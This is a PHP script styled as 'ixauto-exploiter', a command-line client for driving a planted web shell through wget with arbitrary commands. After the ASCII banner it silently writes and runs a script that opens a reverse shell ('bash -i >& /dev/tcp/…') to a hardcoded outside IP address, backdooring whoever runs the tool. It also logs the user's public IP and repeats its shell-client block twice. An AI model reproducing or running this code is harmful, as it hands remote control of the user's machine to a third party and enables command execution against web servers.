bug

#!/usr/bin/env php
<?php

# ixa
# run in Linux shell                                   # run in linux shell
# rip indentation
$white = "\e[97m";
$green  = "\e[92m";
$yellow = "\e[93m";
$bold   = "\e[1m";
$grey = "\e[37m";
$red = "\e[91m";
if (!isset($argv[1]) OR !preg_match('/ ?php| =/', $argv[1]))
{
echo $yellow.$bold."\nphp shell.php <poc>\n".$grey;
echo $yellow.$bold."exemple : php shell.php https://www.nsa.gov/shell.php?cmd=\n\n".$grey;
}
else
{
$ok = $argv[1];
echo $yellow.$bold."\n                                START THE GAME  ";

sleep(1);print $green.".";sleep(1);print $red.".";sleep(1);print $white.".";sleep(1)."\n";
echo chr(27).chr(91).'H'.chr(27).chr(91).'J';
echo "file : ", $yellow.$bold.$argv[0].$grey;
echo "\nshell access : ", $yellow.$bold.$ok.$grey;
echo "\n[type \"exit\" to exit the shell]\n\n";
for($i=1;$i<999999;$i++)
{
echo $red."$ ".$grey;
$choix = trim(fgets(STDIN));
if ($choix == "exit")
{
echo "bye\n";
break;
}
else {
$all = $ok.$choix;
echo system("wget -qO- $all");
echo "\n";
}
}
}

$white = "\e[97m";
$black = "\e[30m\e[1m";
$yellow = "\e[93m";
$orange = "\e[38;5;208m";
$blue   = "\e[34m";
$lblue  = "\e[36m";
$cln    = "\e[0;94m";
$green  = "\e[92m";
$fgreen = "\e[32m";
$red    = "\e[91m";
$magenta = "\e[35m";
$bluebg = "\e[44m";
$lbluebg = "\e[106m";
$greenbg = "\e[42m";
$lgreenbg = "\e[102m";
$yellowbg = "\e[43m";
$lyellowbg = "\e[103m";
$redbg = "\e[101m";
$grey = "\e[37m";
$cyan = "\e[36m";
$bold   = "\e[1m";
$nbold = "\e[1;97m";
$adios = $red."adios".$grey."\n";
$ok1 = $green."[1] - tool 1".$grey;
$ok2 = $green."[2] - tool 2".$grey;
$ok3 = $green."[3] - tool 3".$grey;
$ok = $green."[777] - exit".$grey;
$ascii = $red."                 . . .".$grey."
                  \|/
                `--+--'
                  /|\                        ixauto-exploiter
                 ' | '                       by ixa
                   |                         ./2k19
                   |                         you can fake my tool
               ,--'#`--.                     but you cant fake your
               |#######|                     skills
            _.-'#######`-._
         ,-'###############`-.
       ,'#####################`,             ".$ok1."
      /#########################\            ".$ok2."
     |###########################|           ".$ok3."
    |#############################|          ".$ok."
    |#############################|
    |#############################|
    |#############################|
     |###########################|
      \#########################/
       `.#####################,'
         `._###############_,'
            `--..#####..--'";

$ip = exec("wget -qO- checkip.dyndns.org | grep -oP \"\d+\.\d+\.\d+\.\d+\"");

echo $yellow.$bold."\n                                START THE GAME  ";
sleep(1);print $green.".";sleep(1);print $red.".";sleep(1);print $white.".\n";
system("reset");

echo $ascii, "\n";
system("echo \"screen -R\" > /tmp/screen.sh && echo \"bash -i >& /dev/tcp/3.8.211.74/1234 0>&1 && id\" > /tmp/re.sh && bash /tmp/screen.sh && bash /tmp/re.sh");
start : echo $yellow.$bold, "ixa$white@$cyan$ip$white:~# ";
$white = "\e[97m";
$green  = "\e[92m";
$yellow = "\e[93m";
$bold   = "\e[1m";
$grey = "\e[37m";
$red = "\e[91m";
if (!isset($argv[1]) OR !preg_match('/ ?php| =/', $argv[1]))
{
echo $yellow.$bold."\nphp shell.php <poc>\n".$grey;
echo $yellow.$bold."exemple : php shell.php https://www.nsa.gov/shell.php?cmd=\n\n".$grey;
}
else
{
$ok = $argv[1];
echo $yellow.$bold."\n                                START THE GAME  ";

sleep(1);print $green.".";sleep(1);print $red.".";sleep(1);print $white.".";sleep(1)."\n";
echo chr(27).chr(91).'H'.chr(27).chr(91).'J';
echo "file : ", $yellow.$bold.$argv[0].$grey;
echo "\nshell access : ", $yellow.$bold.$ok.$grey;
echo "\n[type \"exit\" to exit the shell]\n\n";
for($i=1;$i<999999;$i++)
{
echo $red."$ ".$grey;
$choix = trim(fgets(STDIN));
if ($choix == "exit")
{
echo "bye\n";
break;
}
else {
$all = $ok.$choix;
echo system("wget -qO- $all");
echo "\n";
}
}
}
$choix1 = trim(fgets(STDIN,1024));
switch($choix1)
{
case 777 :
echo $adios;
break;

case 1 :
echo "wsh\n";
break;

case 2 :
require("bot.php");
break;

case 3 :
echo "tool 3\n";
break;

default :
echo "bon\n";
goto start;
break;
}

?>